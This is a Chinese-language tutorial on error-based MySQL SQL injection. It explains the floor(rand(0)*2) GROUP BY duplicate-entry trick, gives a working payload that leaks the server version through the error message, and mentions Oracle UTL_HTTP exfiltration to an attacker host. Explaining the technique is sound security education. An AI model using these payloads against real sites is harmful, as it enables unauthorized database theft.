SQL注射取数据的方式有多种：
- 利用union select查询直接在页面上返回数据，这种最为常见，一个前提是攻击者能够构造闭合的查询。
- Oracle中利用监听UTL_HTTP.request发起的HTTP请求，把QuerySet反弹回攻击者的主机。当然，HTTP服务器对URL的长度有一定限制，因此每次可返回的数据量不可过多。
- 基于错误消息取数据，前提是页面能够响应详细的错误描述。它的一个优点是，我们可能不必太费力去猜测和闭合SQL(可以构造子查询，让MySQL在子查询中报错)。
- 盲注，页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注，此类注射点利用价值相对要低一点，猜解数据的时间较长。
本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的，就是理解下面的SQL查询：
select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;
上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’
如下图
1. 为什么MySQL注射要用information_schema库？
答案是这个库是MySQL自带的，安装之后就创建好了，所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。
2. 如何利用报错取数据？
利用报错，攻击者把目标数据concat连接到floor()函数的前后即可。
例如，下面的语句用于获取MySQL Server版本，构造：
mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’
通过报错，即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记，方便程序提取。
加上标记，也可以方便攻击者在大的页面中搜索。
3. 为何这条语句会报错?
rand(0)是把0作为生成随机数的种子。首先明确一点，无论查询多少次，无论在哪台MySQL Server上查询，连续rand(0)生成的序列是固定的。
mysql> select rand(0)*2 x from information_schema.character_sets; +---------------------+ | x | +---------------------+ | 0.3104408553898715 | | 1.241763483026776 | | 1.2774949104315554 | | 0.6621841645447389 | | 1.4784361528963188 | | 1.4056283323146668 | | 0.5928332643516672 | | 0.7472813862816258 | | 1.9579071998204172 | | 1.5476919017244986 | | 1.8647379706285316 | | 0.6806142094364522 | | 1.8088571967639562 | | 1.002443416977714 | | 1.5856455560639924 | | 0.9208975908541098 | | 1.8475513475458616 | | 0.4750640266342685 | | 0.8326661520010477 | | 0.7381387415697228 | | 1.192695313312761 | | 1.749060403321926 | | 1.167216138138637 | | 0.5888995421946975 | | 1.4428493580248667 | | 1.4475482250075304 | | 0.9091931124303426 | | 0.20332094859641134 | | 0.28902546715831895 | | 0.8351645514696506 | | 1.3087464173405863 | | 0.03823849376126984 | | 0.2649532782518801 | | 1.210050971442881 | | 1.2553950839260548 | | 0.6468225667689206 | | 1.4679276435337287 | | 1.3991705788291717 | | 0.5920700250119623 | +---------------------+
应用floor函数（取浮点数的整数部分）后，结果变成了：
mysql> select floor(rand(0)*2) x from information_schema.character_sets; +---+ | x | +---+ | 0 | | 1 | | 1 | | 0 | | 1 | | 1 | | 0 | | 0 | | 1 | | 1 | | 1 | | 0 | | 1 | | 1 | | 1 | | 0 | | 1 | | 0 | | 0 | | 0 | | 1 | | 1 | | 1 | | 0 | | 1 | | 1 | | 0 | | 0 | | 0 | | 0 | | 1 | | 0 | | 0 | | 1 | | 1 | | 0 | | 1 | | 1 | | 0 | +---+ 39 rows in set (0.00 sec)
可以看到，第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。
实际上，我们分开执行下面的两种查询，都是不会出错的：
a) select floor(rand(0)*2) x from information_schema.character_sets group by x;
上面的查询根据x列的值进行分组，得到：
+---+ | x | +---+ | 0 | | 1 | +---+
b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;
得到information_schema.character_sets总共有39行：
+----------+---+ | count(*) | x | +----------+---+ | 39 | 0 | +----------+---+ 1 row in set (0.00 sec)
请注意，这里x的值出现的是0。
c) 将上述语句结合后即报错
select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;
我们预期的结果， 其实是:
+----------+---+ | count(*) | x | +----------+---+ | 18 | 0 | +----------+---+ | 11 | 1 | +----------+---+ 2 row in set (0.00 sec)
然而MySQL在内部处理中间结果的时候，出现了意外，导致报错。